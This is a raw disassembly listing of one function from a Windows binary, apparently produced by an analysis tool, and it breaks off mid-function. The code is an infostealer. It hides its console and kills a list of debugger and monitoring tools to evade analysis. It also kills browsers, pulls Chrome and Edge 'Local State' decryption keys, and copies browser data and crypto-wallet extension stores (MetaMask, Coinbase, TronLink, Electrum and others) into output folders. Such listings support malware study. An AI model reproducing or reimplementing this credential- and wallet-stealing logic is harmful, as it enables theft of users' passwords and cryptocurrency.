Function at 0x14001cbb0
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0xb88]
sub rsp, 0xc60
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
mov rax, qword [0x1402d4c40]
xor rax, rsp
mov qword [rbp + 0xb00], rax
xor r13d, r13d
mov dword [rsp + 0x58], r13d
mov dword [rsp + 0x60], r13d
mov dword [rsp + 0x58], r13d
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, str.appdata
call fcn.1401fbbf8
mov rdx, rax
lea rcx, [rbp + 0x5f0]
call fcn.14002c8a0
nop
lea rcx, [rbp + 0x380]
call fcn.14000c8b0
mov rbx, rax
lea r8, str._microsoft_
lea rdx, [rbp + 0x5f0]
lea rcx, [rbp + 0x3d8]
call fcn.140030530
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2f0]
call fcn.1400307d0
nop
lea rcx, [rbp + 0x3d8]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x380]
call fcn.14002c6f0
lea rcx, [rbp + 0x148]
call fcn.14002a660
mov rdi, rax
lea rdx, [rbp + 0x1b8]
lea rcx, [rbp + 0x2f0]
call fcn.14002c620
mov rbx, qword [rax]
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x2f0]
call fcn.14002c640
mov r9, rdi
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0x310]
call fcn.140032db0
nop
lea rcx, [rbp + 0x310]
call fcn.14002c1d0
mov qword [rbp - 0x40], rax
xor ecx, ecx
call fcn.140001f60
mov rcx, rax
call fcn.1401f1d9c
call fcn.1401f1d70
call fcn.14001c190
test al, al
jne 0x140027693
lea r8, str._fu.sei
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x3d8]
call fcn.140030530
mov rcx, rax
call fcn.14000b5d0
lea r8, str._fu.sei
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x3d8]
call fcn.140030530
mov rcx, rax
call fcn.14000b850
lea rdx, str.python.exe
lea rcx, [rbp + 0x7e0]
call fcn.14002c350
nop
lea rdx, str._pythonw.exe
lea rcx, [rbp + 0x800]
call fcn.14002c350
nop
lea rdx, str._python3.exe
lea rcx, [rbp + 0x820]
call fcn.14002c350
nop
lea rdx, str.Taskmgr.exe
lea rcx, [rbp + 0x840]
call fcn.14002c350
nop
lea rdx, str.msconfig.exe
lea rcx, [rbp + 0x860]
call fcn.14002c350
nop
lea rdx, str.regedit.exe
lea rcx, [rbp + 0x880]
call fcn.14002c350
nop
lea rdx, str.x64dbg.exe
lea rcx, [rbp + 0x8a0]
call fcn.14002c350
nop
lea rdx, str.x32dbg.exe
lea rcx, [rbp + 0x8c0]
call fcn.14002c350
nop
lea rdx, str.radare2.exe
lea rcx, [rbp + 0x8e0]
call fcn.14002c350
nop
lea rdx, str.r2.exe
lea rcx, [rbp + 0x900]
call fcn.14002c350
nop
lea rdx, str.ghidra.exe
lea rcx, [rbp + 0x920]
call fcn.14002c350
nop
lea rdx, str.immunitydebugger.exe
lea rcx, [rbp + 0x940]
call fcn.14002c350
nop
lea rdx, str.fiddler.exe
lea rcx, [rbp + 0x960]
call fcn.14002c350
nop
lea rdx, str.tcpview.exe
lea rcx, [rbp + 0x980]
call fcn.14002c350
nop
lea rdx, str.sysmon.exe
lea rcx, [rbp + 0x9a0]
call fcn.14002c350
nop
lea rdx, str.processhacker.exe
lea rcx, [rbp + 0x9c0]
call fcn.14002c350
nop
lea rdx, str.apatedns.exe
lea rcx, [rbp + 0x9e0]
call fcn.14002c350
nop
lea rdx, str.cuckoo.exe
lea rcx, [rbp + 0xa00]
call fcn.14002c350
nop
lea rdx, str.cff_explorer.exe
lea rcx, [rbp + 0xa20]
call fcn.14002c350
nop
lea rdx, str.wireshark.exe
lea rcx, [rbp + 0xa40]
call fcn.14002c350
nop
lea rdx, str.regshot.exe
lea rcx, [rbp + 0xa60]
call fcn.14002c350
nop
lea rdx, str.procexp.exe
lea rcx, [rbp + 0xa80]
call fcn.14002c350
nop
lea rdx, str.procexp64.exe
lea rcx, [rbp + 0xaa0]
call fcn.14002c350
nop
lea rdx, str.dumpcap.exe
lea rcx, [rbp + 0xac0]
call fcn.14002c350
nop
lea rdx, str.cmd.exe
lea rcx, [rbp + 0xae0]
call fcn.14002c350
nop
lea rbx, [rbp + 0x7e0]
mov edx, 1
mov rcx, rbx
call fcn.140016c50
add rbx, 0x20
lea rax, [rbp + 0xb00]
cmp rbx, rax
jne 0x14001cf51
lea rcx, [rbp + 0x5d0]
call fcn.14000bbd0
nop
lea rcx, [rbp + 0x5b0]
call fcn.14000bb40
nop
lea rcx, [rbp + 0x690]
call fcn.14000c520
nop
lea rcx, [rbp + 0x538]
call fcn.140011fe0
nop
lea rcx, [rbp + 0x590]
call fcn.14002ca00
nop
lea rcx, [rbp + 0x570]
call fcn.14002ca00
nop
lea rax, [rbp + 0x3d8]
mov qword [rbp + 0x240], rax
lea rdx, [rbp + 0x570]
lea rcx, [rbp + 0x3d8]
call fcn.14002c8e0
mov r15, rax
lea rax, [rbp + 0x380]
mov qword [rbp - 0x48], rax
lea rdx, [rbp + 0x590]
lea rcx, [rbp + 0x380]
call fcn.14002c8e0
mov r14, rax
lea rax, [rbp + 0x3a0]
mov qword [rbp + 0x248], rax
lea rdx, [rbp + 0x538]
lea rcx, [rbp + 0x3a0]
call fcn.14002c8e0
mov rsi, rax
lea rax, [rbp + 0x500]
mov qword [rsp + 0x60], rax
lea rdx, [rbp + 0x690]
lea rcx, [rbp + 0x500]
call fcn.14002c8e0
mov rdi, rax
lea rax, [rbp + 0x4e0]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x5b0]
lea rcx, [rbp + 0x4e0]
call fcn.14002c8e0
mov rbx, rax
lea rdx, [rbp + 0x5d0]
lea rcx, [rbp + 0x4c0]
call fcn.14002c8e0
nop
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r14
mov r9, rsi
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140018a90
test al, al
je 0x140027626
lea rdx, str.chrome.exe
lea rcx, [rbp + 0x330]
call fcn.14002c350
nop
mov edx, 1
lea rcx, [rbp + 0x330]
call fcn.140016c50
nop
lea rcx, [rbp + 0x330]
call fcn.140007810
lea rdx, str.edge.exe
lea rcx, [rbp + 0x330]
call fcn.14002c350
nop
mov edx, 1
lea rcx, [rbp + 0x330]
call fcn.140016c50
nop
lea rcx, [rbp + 0x330]
call fcn.140007810
lea rdx, str.torch.exe
lea rcx, [rbp + 0x330]
call fcn.14002c350
nop
mov edx, 1
lea rcx, [rbp + 0x330]
call fcn.140016c50
nop
lea rcx, [rbp + 0x330]
call fcn.140007810
lea rdx, str.brave.exe
lea rcx, [rbp + 0x330]
call fcn.14002c350
nop
mov edx, 1
lea rcx, [rbp + 0x330]
call fcn.140016c50
nop
lea rcx, [rbp + 0x330]
call fcn.140007810
lea rdx, str.cent.exe
lea rcx, [rbp + 0x330]
call fcn.14002c350
nop
mov edx, 1
lea rcx, [rbp + 0x330]
call fcn.140016c50
nop
lea rcx, [rbp + 0x330]
call fcn.140007810
lea rdx, str.orbitum.exe
lea rcx, [rbp + 0x330]
call fcn.14002c350
nop
mov edx, 1
lea rcx, [rbp + 0x330]
call fcn.140016c50
nop
lea rcx, [rbp + 0x330]
call fcn.140007810
lea rdx, str.amigo.exe
lea rcx, [rbp + 0x330]
call fcn.14002c350
nop
mov edx, 1
lea rcx, [rbp + 0x330]
call fcn.140016c50
nop
lea rcx, [rbp + 0x330]
call fcn.140007810
lea rdx, str.canary.exe
lea rcx, [rbp + 0x330]
call fcn.14002c350
nop
mov edx, 1
lea rcx, [rbp + 0x330]
call fcn.140016c50
nop
lea rcx, [rbp + 0x330]
call fcn.140007810
lea rdx, str.yandex.exe
lea rcx, [rbp + 0x330]
call fcn.14002c350
nop
mov edx, 1
lea rcx, [rbp + 0x330]
call fcn.140016c50
nop
lea rcx, [rbp + 0x330]
call fcn.140007810
lea rcx, [rbp + 0x3d8]
call fcn.14000cfd0
nop
lea rcx, [rbp + 0x1c0]
call fcn.140029a00
nop
lea r8, [rbp + 0x3d8]
lea rdx, [rbp + 0x270]
mov rcx, rax
call fcn.140029970
nop
lea rcx, [rbp + 0x1c0]
call fcn.1400299a0
lea rcx, [rbp + 0x310]
call fcn.14002c1d0
mov rcx, rax
call fcn.140011f80
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x428]
call fcn.14002c8e0
nop
lea r8, str._appdata_local_google_chrome_user_data_Local_State
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x3a0]
call fcn.140030530
nop
mov dword [rsp + 0x58], 1
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x448]
call fcn.140032460
nop
mov ebx, 3
mov dword [rsp + 0x60], ebx
mov dword [rsp + 0x58], ebx
lea rcx, [rbp + 0x448]
call fcn.140009ea0
test al, al
je 0x14001d372
lea r8, str._appdata_local_microsoft_edge_user_data_
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x380]
call fcn.140030530
nop
mov dword [rsp + 0x58], 7
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x330]
call fcn.140032460
nop
mov ebx, reloc.WS2_32.dll_ntohs
mov dword [rsp + 0x60], ebx
mov dword [rsp + 0x58], ebx
lea rcx, [rbp + 0x330]
call fcn.140009f30
test al, al
je 0x14001d372
mov dil, 1
jmp 0x14001d375
xor dil, dil
test bl, 8
je 0x14001d38e
and ebx, 0xfffffff7
mov dword [rsp + 0x60], ebx
lea rcx, [rbp + 0x330]
call fcn.140007810
nop
test bl, 4
je 0x14001d3a7
and ebx, 0xfffffffb
mov dword [rsp + 0x60], ebx
lea rcx, [rbp + 0x380]
call fcn.14002c6f0
nop
test bl, 2
je 0x14001d3c0
and ebx, 0xfffffffd
mov dword [rsp + 0x60], ebx
lea rcx, [rbp + 0x448]
call fcn.140007810
nop
test bl, 1
je 0x14001d3d8
and ebx, 0xfffffffe
mov dword [rsp + 0x60], ebx
lea rcx, [rbp + 0x3a0]
call fcn.14002c6f0
test dil, dil
je 0x1400273d4
lea r8, str._localstate
lea rdx, [rbp + 0x428]
lea rcx, [rbp + 0x2b0]
call fcn.140030530
mov rbx, rax
lea r8, str._appdata_local_Google_chrome_User_Data_Local_State
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x290]
call fcn.140030530
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000d070
nop
lea rcx, [rbp + 0x290]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x2b0]
call fcn.14002c6f0
mov edx, Ordinal_26
lea rcx, [rbp + 0x520]
call fcn.14000bfe0
lea r8, str._localstate
lea rdx, [rbp + 0x428]
lea rcx, [rbp + 0x290]
call fcn.140030530
nop
mov rdx, rax
lea rcx, [rbp + 0x520]
call fcn.14000d290
nop
lea rcx, [rbp + 0x290]
call fcn.14002c6f0
lea r8, str._localstate
lea rdx, [rbp + 0x428]
lea rcx, [rbp + 0x330]
call fcn.140030530
nop
xor r8d, r8d
lea rdx, [rbp + 0x330]
lea rcx, [rbp - 0x68]
call fcn.140032460
nop
lea rcx, [rbp - 0x68]
call fcn.140009ea0
movzx ebx, al
lea rcx, [rbp - 0x68]
call fcn.140007810
test bl, bl
jne 0x14001d516
lea r8, str._appdata_local_microsoft_edge_user_data_Local_State
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x290]
call fcn.140030530
mov rdx, rax
lea rcx, [rbp + 0x330]
call fcn.14002c700
lea rcx, [rbp + 0x290]
call fcn.14002c6f0
lea rdx, str.failed_to_find_json_path
lea rcx, [0x1402ded40]
call fcn.1400324a0
lea rdx, str.decoding_from_chrome
lea rcx, [0x1402ded40]
call fcn.1400324a0
mov edx, Ordinal_26
lea rcx, [rbp + 0x3f8]
call fcn.14000bfe0
lea rdx, [rbp + 0x330]
lea rcx, [rbp + 0x290]
call fcn.14002c8e0
mov rdx, rax
lea rcx, [rbp + 0x3f8]
call fcn.14000d950
nop
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x3f8]
call fcn.14002b7c0
mov r8d, 5
lea rdx, [rbp - 0x48]
mov rcx, rax
call fcn.1400282f0
mov rbx, qword [rax]
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x3f8]
call fcn.14002b7c0
mov r9, rbx
mov r8, qword [rax]
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x3f8]
call fcn.14002b7d0
lea rcx, [rbp + 0x3f8]
call fcn.14002b7b0
mov rbx, rax
mov edx, Ordinal_26
lea rcx, [rbp + 0x4a8]
call fcn.14000bfe0
lea rcx, [rbp + 0x4a8]
call fcn.14002b8f0
nop
lea rcx, [rbp + 0x4a8]
call fcn.14002b7b0
mov qword [rbp + 0x248], rax
mov edx, Ordinal_26
lea rcx, [rbp + 0x368]
call fcn.14000bfe0
lea rcx, [rbp + 0x3f8]
call fcn.140027710
mov r8, rax
lea r9, [rbp + 0x248]
mov rdx, rbx
lea rcx, [rbp + 0x368]
call fcn.14000d4c0
nop
lea rdx, str.decryption_key_detected
lea rcx, [0x1402ded40]
call fcn.1400324a0
mov rbx, rax
mov edx, 1
lea rcx, [rbp + 0x368]
call fcn.14002b790
movzx edx, byte [rax]
mov rcx, rbx
call fcn.140032a50
mov edx, Ordinal_26
lea rcx, [rbp + 0x350]
call fcn.14000bfe0
lea r8, str._appdata_local_Google_Chrome_User_Data_
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x290]
call fcn.140030530
nop
mov rdx, rax
lea rcx, [rbp + 0x350]
call fcn.140012380
nop
lea rcx, [rbp + 0x290]
call fcn.14002c6f0
lea rdx, str.Default
lea rcx, [rbp - 0x68]
call fcn.14002c8a0
nop
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0x350]
call fcn.14002bda0
nop
lea rcx, [rbp - 0x68]
call fcn.14002c6f0
lea rdx, str._output_chrome_
lea rcx, [rbp + 0x2b0]
call fcn.14002c8a0
mov r8, rax
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x2d0]
call fcn.14000b4b0
nop
mov rcx, rax
call fcn.14002c1d0
mov rdx, rax
lea rcx, [rbp + 0x380]
call fcn.14002c350
nop
lea rcx, [rbp + 0x2d0]
call fcn.140007810
lea rcx, [rbp + 0x380]
call fcn.14002c1d0
mov qword [rbp - 0x48], rax
lea rdx, [0x14028c4b0]
lea rcx, [rbp + 0x290]
call fcn.14002c8a0
mov r8, rax
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x108]
call fcn.14000b4b0
nop
mov rcx, rax
call fcn.14002c1d0
mov rdx, rax
lea rcx, [rbp + 0x3a0]
call fcn.14002c350
nop
lea rcx, [rbp + 0x108]
call fcn.140007810
lea rcx, [rbp + 0x3a0]
call fcn.14002c1d0
mov qword [rsp + 0x58], rax
lea rax, [rbp + 0x2b0]
mov qword [rbp + 0x30], rax
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x2b0]
call fcn.14002c8e0
mov r13, rax
lea rax, [rbp + 0x250]
mov qword [rbp + 0x28], rax
lea rdx, [rbp + 0x368]
lea rcx, [rbp + 0x250]
call fcn.14002b830
mov r12, rax
lea rax, [rbp + 0x2d0]
mov qword [rbp + 0x78], rax
lea r8, [0x140288cbc]
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x2d0]
call fcn.140030530
mov r15, rax
lea rax, [rbp - 0x68]
mov qword [rbp + 0x80], rax
lea r8, str._appdata_local_google_chrome_user_data
lea rdx, [rbp + 0x270]
lea rcx, [rbp - 0x68]
call fcn.140030530
mov r14, rax
lea rax, [rbp + 0x38]
mov qword [rsp + 0x70], rax
lea rdx, str._chrome_
lea rcx, [rbp + 0x38]
call fcn.14002c350
mov rsi, rax
lea rax, [rbp + 0x88]
mov qword [rbp - 0x70], rax
lea rdx, [0x14028c4b0]
lea rcx, [rbp + 0x88]
call fcn.14002c8a0
mov rdi, rax
lea rax, [rbp - 0x38]
mov qword [rbp - 0x78], rax
lea rdx, [rbp + 0x270]
lea rcx, [rbp - 0x38]
call fcn.14002c8e0
mov rbx, rax
lea rdx, [rbp + 0x350]
lea rcx, [rbp + 0xe8]
call fcn.14002be00
nop
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r12
mov rcx, qword [rsp + 0x58]
mov qword [rsp + 0x38], rcx
mov rcx, qword [rbp - 0x48]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r14
mov r9, rsi
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014e00
lea rdx, str._output_wallets
lea rcx, [rbp - 0x68]
call fcn.14002c350
nop
lea rdx, [rbp - 0x68]
mov rcx, qword [rbp - 0x40]
call fcn.140014590
mov rcx, rax
call fcn.140011f80
nop
lea rcx, [rbp - 0x68]
call fcn.140007810
lea rax, [rbp + 0x250]
mov qword [rbp - 0x80], rax
lea rdx, [rbp + 0x350]
lea rcx, [rbp + 0x250]
call fcn.14002be00
mov r14, rax
lea r8, [0x14028c520]
lea rdx, [rbp + 0x310]
lea rcx, [rbp - 0x68]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov rsi, rax
lea rax, [rbp - 0x38]
mov qword [rbp - 0x78], rax
lea r8, str._output_wallets_metamask
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x2d0]
call fcn.140030530
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp - 0x38]
call fcn.140032460
mov rdi, rax
lea rax, [rbp + 0x88]
mov qword [rbp - 0x70], rax
xor r8d, r8d
lea rdx, str.nkbihfbeogaeaoehlefnkodbefgpgknn
lea rcx, [rbp + 0x88]
call fcn.140033200
mov rbx, rax
lea r8, str._appdata_local_google_chrome_user_data
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x2b0]
call fcn.140030530
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x38]
call fcn.140032460
nop
mov qword [rsp + 0x20], r14
mov r9, rsi
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014ba0
nop
lea rcx, [rbp + 0x2b0]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x2d0]
call fcn.14002c6f0
nop
lea rcx, [rbp - 0x68]
call fcn.140007810
lea rax, [rbp + 0x250]
mov qword [rbp - 0x80], rax
lea rdx, [rbp + 0x350]
lea rcx, [rbp + 0x250]
call fcn.14002be00
mov r14, rax
lea r8, [0x14028c5a0]
lea rdx, [rbp + 0x310]
lea rcx, [rbp - 0x68]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov rsi, rax
lea rax, [rbp - 0x38]
mov qword [rbp - 0x78], rax
lea r8, str._output_wallets_coinbase
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x2d0]
call fcn.140030530
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp - 0x38]
call fcn.140032460
mov rdi, rax
lea rax, [rbp + 0x88]
mov qword [rbp - 0x70], rax
xor r8d, r8d
lea rdx, str.hnfanknocfeofbddgcijnmhnfnkdnaad
lea rcx, [rbp + 0x88]
call fcn.140033200
mov rbx, rax
lea r8, str._appdata_local_google_chrome_user_data
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x2b0]
call fcn.140030530
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x38]
call fcn.140032460
nop
mov qword [rsp + 0x20], r14
mov r9, rsi
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014ba0
nop
lea rcx, [rbp + 0x2b0]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x2d0]
call fcn.14002c6f0
nop
lea rcx, [rbp - 0x68]
call fcn.140007810
lea rax, [rbp + 0x250]
mov qword [rbp - 0x80], rax
lea rdx, [rbp + 0x350]
lea rcx, [rbp + 0x250]
call fcn.14002be00
mov r14, rax
lea r8, [0x14028c620]
lea rdx, [rbp + 0x310]
lea rcx, [rbp - 0x68]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov rsi, rax
lea rax, [rbp - 0x38]
mov qword [rbp - 0x78], rax
lea r8, str._output_wallets_bnbsmartchain
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x2d0]
call fcn.140030530
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp - 0x38]
call fcn.140032460
mov rdi, rax
lea rax, [rbp + 0x88]
mov qword [rbp - 0x70], rax
xor r8d, r8d
lea rdx, str.fhbohimaelbohpjbbldcngcnapndodjp
lea rcx, [rbp + 0x88]
call fcn.140033200
mov rbx, rax
lea r8, str._appdata_local_google_chrome_user_data
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x2b0]
call fcn.140030530
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x38]
call fcn.140032460
nop
mov qword [rsp + 0x20], r14
mov r9, rsi
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014ba0
nop
lea rcx, [rbp + 0x2b0]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x2d0]
call fcn.14002c6f0
nop
lea rcx, [rbp - 0x68]
call fcn.140007810
lea rax, [rbp + 0x250]
mov qword [rbp - 0x80], rax
lea rdx, [rbp + 0x350]
lea rcx, [rbp + 0x250]
call fcn.14002be00
mov r14, rax
lea r8, [0x14028c6a8]
lea rdx, [rbp + 0x310]
lea rcx, [rbp - 0x68]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov rsi, rax
lea rax, [rbp - 0x38]
mov qword [rbp - 0x78], rax
lea r8, str._output_wallets_ferz
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x2d0]
call fcn.140030530
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp - 0x38]
call fcn.140032460
mov rdi, rax
lea rax, [rbp + 0x88]
mov qword [rbp - 0x70], rax
xor r8d, r8d
lea rdx, str.anfhjfflodcjcfmgcgfenjlkkehphhal
lea rcx, [rbp + 0x88]
call fcn.140033200
mov rbx, rax
lea r8, str._appdata_local_google_chrome_user_data
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x2b0]
call fcn.140030530
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x38]
call fcn.140032460
nop
mov qword [rsp + 0x20], r14
mov r9, rsi
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014ba0
nop
lea rcx, [rbp + 0x2b0]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x2d0]
call fcn.14002c6f0
nop
lea rcx, [rbp - 0x68]
call fcn.140007810
lea rax, [rbp + 0x250]
mov qword [rbp - 0x80], rax
lea rdx, [rbp + 0x350]
lea rcx, [rbp + 0x250]
call fcn.14002be00
mov r14, rax
lea r8, [0x14028c718]
lea rdx, [rbp + 0x310]
lea rcx, [rbp - 0x68]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov rsi, rax
lea rax, [rbp - 0x38]
mov qword [rbp - 0x78], rax
lea r8, str._output_wallets_saturn
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x2d0]
call fcn.140030530
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp - 0x38]
call fcn.140032460
mov rdi, rax
lea rax, [rbp + 0x88]
mov qword [rbp - 0x70], rax
xor r8d, r8d
lea rdx, str.nkddgncdjgjfcddamfgcmfnlhccnimig
lea rcx, [rbp + 0x88]
call fcn.140033200
mov rbx, rax
lea r8, str._appdata_local_google_chrome_user_data
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x2b0]
call fcn.140030530
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x38]
call fcn.140032460
nop
mov qword [rsp + 0x20], r14
mov r9, rsi
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014ba0
nop
lea rcx, [rbp + 0x2b0]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x2d0]
call fcn.14002c6f0
nop
lea rcx, [rbp - 0x68]
call fcn.140007810
lea rax, [rbp + 0x250]
mov qword [rbp - 0x80], rax
lea rdx, [rbp + 0x350]
lea rcx, [rbp + 0x250]
call fcn.14002be00
mov r14, rax
lea r8, [0x14028c788]
lea rdx, [rbp + 0x310]
lea rcx, [rbp - 0x68]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov rsi, rax
lea rax, [rbp - 0x38]
mov qword [rbp - 0x78], rax
lea r8, str._output_wallets_tronlink
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x2d0]
call fcn.140030530
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp - 0x38]
call fcn.140032460
mov rdi, rax
lea rax, [rbp + 0x88]
mov qword [rbp - 0x70], rax
xor r8d, r8d
lea rdx, str.ibnejdfjmmkpcnlpebklmnkoeoihofec
lea rcx, [rbp + 0x88]
call fcn.140033200
mov rbx, rax
lea r8, str._appdata_local_google_chrome_user_data
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x2b0]
call fcn.140030530
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x38]
call fcn.140032460
nop
mov qword [rsp + 0x20], r14
mov r9, rsi
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014ba0
nop
lea rcx, [rbp + 0x2b0]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x2d0]
call fcn.14002c6f0
nop
lea rcx, [rbp - 0x68]
call fcn.140007810
lea rax, [rbp + 0x250]
mov qword [rbp - 0x80], rax
lea rdx, [rbp + 0x350]
lea rcx, [rbp + 0x250]
call fcn.14002be00
mov r14, rax
lea r8, [0x14028c808]
lea rdx, [rbp + 0x310]
lea rcx, [rbp - 0x68]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov rsi, rax
lea rax, [rbp - 0x38]
mov qword [rbp - 0x78], rax
lea r8, str._output_wallets_coin98
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x2d0]
call fcn.140030530
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp - 0x38]
call fcn.140032460
mov rdi, rax
lea rax, [rbp + 0x88]
mov qword [rbp - 0x70], rax
xor r8d, r8d
lea rdx, str.aeachknmefphepccionboohckonoeemg
lea rcx, [rbp + 0x88]
call fcn.140033200
mov rbx, rax
lea r8, str._appdata_local_google_chrome_user_data
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x2b0]
call fcn.140030530
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x38]
call fcn.140032460
nop
mov qword [rsp + 0x20], r14
mov r9, rsi
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014ba0
nop
lea rcx, [rbp + 0x2b0]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x2d0]
call fcn.14002c6f0
nop
lea rcx, [rbp - 0x68]
call fcn.140007810
lea rax, [rbp + 0x250]
mov qword [rbp - 0x80], rax
lea rdx, [rbp + 0x350]
lea rcx, [rbp + 0x250]
call fcn.14002be00
mov r14, rax
lea r8, [0x14028c878]
lea rdx, [rbp + 0x310]
lea rcx, [rbp - 0x68]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov rsi, rax
lea rax, [rbp - 0x38]
mov qword [rbp - 0x78], rax
lea r8, str._output_wallets_station
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x2d0]
call fcn.140030530
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp - 0x38]
call fcn.140032460
mov rdi, rax
lea rax, [rbp + 0x88]
mov qword [rbp - 0x70], rax
xor r8d, r8d
lea rdx, str.aiifbnbfobpmeekipheeijimdpnlpgpp
lea rcx, [rbp + 0x88]
call fcn.140033200
mov rbx, rax
lea r8, str._appdata_local_google_chrome_user_data
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x2b0]
call fcn.140030530
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x38]
call fcn.140032460
nop
mov qword [rsp + 0x20], r14
mov r9, rsi
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014ba0
nop
lea rcx, [rbp + 0x2b0]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x2d0]
call fcn.14002c6f0
nop
lea rcx, [rbp - 0x68]
call fcn.140007810
lea rax, [rbp + 0x250]
mov qword [rbp - 0x80], rax
lea rdx, [rbp + 0x350]
lea rcx, [rbp + 0x250]
call fcn.14002be00
mov r14, rax
lea r8, [0x14028c8e8]
lea rdx, [rbp + 0x310]
lea rcx, [rbp - 0x68]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov rsi, rax
lea rax, [rbp - 0x38]
mov qword [rbp - 0x78], rax
lea r8, str._output_wallets_electrum
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x2d0]
call fcn.140030530
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp - 0x38]
call fcn.140032460
mov rdi, rax
lea rax, [rbp + 0x88]
mov qword [rbp - 0x70], rax
xor r8d, r8d
lea rdx, str.pljgdilmpnfcjmfmnfdlpjodmhiglmlb
lea rcx, [rbp + 0x88]
call fcn.140033200
mov rbx, rax
lea r8, str._appdata_local_google_chrome_user_data
lea rdx, [rbp + 0x270]
